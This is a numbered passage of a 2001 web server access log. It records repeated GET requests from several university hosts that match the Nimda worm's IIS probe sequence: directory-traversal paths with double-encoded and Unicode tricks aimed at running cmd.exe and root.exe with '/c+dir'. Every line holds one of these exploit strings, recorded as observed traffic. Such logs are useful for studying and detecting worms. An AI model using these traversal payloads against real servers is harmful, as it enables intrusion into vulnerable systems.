  5799. 20010918 19:12:35: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5800. 20010918 19:12:35: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5801. 20010918 19:12:35: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5802. 20010918 19:12:36: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5803. 20010918 19:12:36: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5804. 20010918 19:12:36: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5805. 20010918 19:12:36: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5806. 20010918 19:12:36: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5807. 20010918 19:12:37: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5808. 20010918 19:12:37: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5809. 20010918 19:12:37: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5810. 20010918 19:12:37: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5811. 20010918 19:12:37: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5812. 20010918 19:12:37: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5813. 20010918 19:12:37: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5814. 20010918 19:12:37: higstud5.hig.no [128.39.140.8] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5815. 20010918 19:13:24: higstud5.hig.no [128.39.140.8] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5816. 20010918 19:13:24: higstud5.hig.no [128.39.140.8] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5817. 20010918 19:13:25: higstud5.hig.no [128.39.140.8] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5818. 20010918 19:13:25: higstud5.hig.no [128.39.140.8] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5819. 20010918 19:13:26: higstud5.hig.no [128.39.140.8] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5820. 20010918 19:13:26: higstud5.hig.no [128.39.140.8] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5821. 20010918 19:13:26: higstud5.hig.no [128.39.140.8] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5822. 20010918 19:13:27: higstud5.hig.no [128.39.140.8] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5823. 20010918 19:13:27: higstud5.hig.no [128.39.140.8] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5824. 20010918 19:13:28: higstud5.hig.no [128.39.140.8] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5825. 20010918 19:13:28: higstud5.hig.no [128.39.140.8] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5826. 20010918 19:13:28: higstud5.hig.no [128.39.140.8] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5827. 20010918 19:13:29: higstud5.hig.no [128.39.140.8] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5828. 20010918 19:13:30: higstud5.hig.no [128.39.140.8] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5829. 20010918 19:13:30: higstud5.hig.no [128.39.140.8] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5830. 20010918 19:13:30: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5831. 20010918 19:16:47: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5832. 20010918 19:16:47: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5833. 20010918 19:16:47: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5834. 20010918 19:16:47: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5835. 20010918 19:16:47: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5836. 20010918 19:16:47: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5837. 20010918 19:16:47: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5838. 20010918 19:16:47: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5839. 20010918 19:16:47: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5840. 20010918 19:16:48: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5841. 20010918 19:16:48: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5842. 20010918 19:16:51: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5843. 20010918 19:16:51: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5844. 20010918 19:16:54: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5845. 20010918 19:16:54: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5846. 20010918 19:16:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5847. 20010918 19:19:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5848. 20010918 19:19:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5849. 20010918 19:19:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5850. 20010918 19:19:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5851. 20010918 19:19:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5852. 20010918 19:19:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5853. 20010918 19:19:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5854. 20010918 19:19:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5855. 20010918 19:19:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5856. 20010918 19:19:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5857. 20010918 19:19:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5858. 20010918 19:19:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5859. 20010918 19:19:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5860. 20010918 19:19:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5861. 20010918 19:19:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5862. 20010918 19:19:07: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5863. 20010918 19:20:06: dhcp12.cs.columbia.edu [128.59.19.212] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5864. 20010918 19:20:06: dhcp12.cs.columbia.edu [128.59.19.212] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5865. 20010918 19:20:06: dhcp12.cs.columbia.edu [128.59.19.212] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5866. 20010918 19:20:07: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5867. 20010918 19:20:07: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5868. 20010918 19:20:07: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5869. 20010918 19:20:07: dhcp12.cs.columbia.edu [128.59.19.212] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5870. 20010918 19:20:07: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5871. 20010918 19:20:07: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5872. 20010918 19:20:07: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5873. 20010918 19:20:07: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5874. 20010918 19:20:07: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5875. 20010918 19:20:07: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5876. 20010918 19:20:07: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5877. 20010918 19:20:08: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5878. 20010918 19:20:08: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5879. 20010918 19:20:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5880. 20010918 19:20:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5881. 20010918 19:20:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5882. 20010918 19:20:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5883. 20010918 19:20:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5884. 20010918 19:20:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5885. 20010918 19:20:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5886. 20010918 19:20:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5887. 20010918 19:20:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5888. 20010918 19:20:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5889. 20010918 19:20:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5890. 20010918 19:20:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5891. 20010918 19:20:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5892. 20010918 19:20:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5893. 20010918 19:20:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5894. 20010918 19:20:12: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5895. 20010918 19:21:36: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5896. 20010918 19:21:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5897. 20010918 19:21:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5898. 20010918 19:21:38: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5899. 20010918 19:21:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5900. 20010918 19:21:39: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5901. 20010918 19:21:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5902. 20010918 19:21:39: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5903. 20010918 19:21:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5904. 20010918 19:21:39: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5905. 20010918 19:21:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5906. 20010918 19:21:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5907. 20010918 19:21:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5908. 20010918 19:21:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5909. 20010918 19:21:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5910. 20010918 19:21:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5911. 20010918 19:21:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5912. 20010918 19:21:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5913. 20010918 19:21:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5914. 20010918 19:21:43: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5915. 20010918 19:21:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5916. 20010918 19:21:43: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5917. 20010918 19:21:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5918. 20010918 19:21:43: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5919. 20010918 19:21:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5920. 20010918 19:21:43: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5921. 20010918 19:21:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5922. 20010918 19:21:44: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5923. 20010918 19:21:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5924. 20010918 19:21:44: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5925. 20010918 19:21:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5926. 20010918 19:21:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5927. 20010918 19:26:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5928. 20010918 19:26:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5929. 20010918 19:26:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5930. 20010918 19:26:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5931. 20010918 19:26:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5932. 20010918 19:26:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5933. 20010918 19:26:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5934. 20010918 19:26:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5935. 20010918 19:26:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5936. 20010918 19:26:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5937. 20010918 19:26:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5938. 20010918 19:26:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5939. 20010918 19:26:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5940. 20010918 19:26:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5941. 20010918 19:26:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5942. 20010918 19:26:10: jetset.nt.cl.cam.ac.uk [128.232.13.88] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5943. 20010918 19:27:12: jetset.nt.cl.cam.ac.uk [128.232.13.88] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5944. 20010918 19:27:12: jetset.nt.cl.cam.ac.uk [128.232.13.88] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5945. 20010918 19:27:12: jetset.nt.cl.cam.ac.uk [128.232.13.88] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5946. 20010918 19:27:13: jetset.nt.cl.cam.ac.uk [128.232.13.88] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5947. 20010918 19:27:13: jetset.nt.cl.cam.ac.uk [128.232.13.88] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5948. 20010918 19:27:13: jetset.nt.cl.cam.ac.uk [128.232.13.88] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5949. 20010918 19:27:13: jetset.nt.cl.cam.ac.uk [128.232.13.88] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5950. 20010918 19:27:14: jetset.nt.cl.cam.ac.uk [128.232.13.88] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5951. 20010918 19:27:14: jetset.nt.cl.cam.ac.uk [128.232.13.88] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5952. 20010918 19:27:14: jetset.nt.cl.cam.ac.uk [128.232.13.88] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5953. 20010918 19:27:14: jetset.nt.cl.cam.ac.uk [128.232.13.88] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5954. 20010918 19:27:15: jetset.nt.cl.cam.ac.uk [128.232.13.88] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5955. 20010918 19:27:15: jetset.nt.cl.cam.ac.uk [128.232.13.88] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5956. 20010918 19:27:15: jetset.nt.cl.cam.ac.uk [128.232.13.88] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5957. 20010918 19:27:15: jetset.nt.cl.cam.ac.uk [128.232.13.88] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5958. 20010918 19:27:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5959. 20010918 19:28:24: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5960. 20010918 19:28:24: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5961. 20010918 19:28:24: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5962. 20010918 19:28:24: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5963. 20010918 19:28:24: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5964. 20010918 19:28:25: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5965. 20010918 19:28:25: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5966. 20010918 19:28:25: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5967. 20010918 19:28:25: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5968. 20010918 19:28:25: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5969. 20010918 19:28:25: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5970. 20010918 19:28:25: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5971. 20010918 19:28:25: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5972. 20010918 19:28:25: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5973. 20010918 19:28:25: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5974. 20010918 19:28:25: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5975. 20010918 19:28:58: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5976. 20010918 19:28:58: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5977. 20010918 19:28:58: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5978. 20010918 19:28:58: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
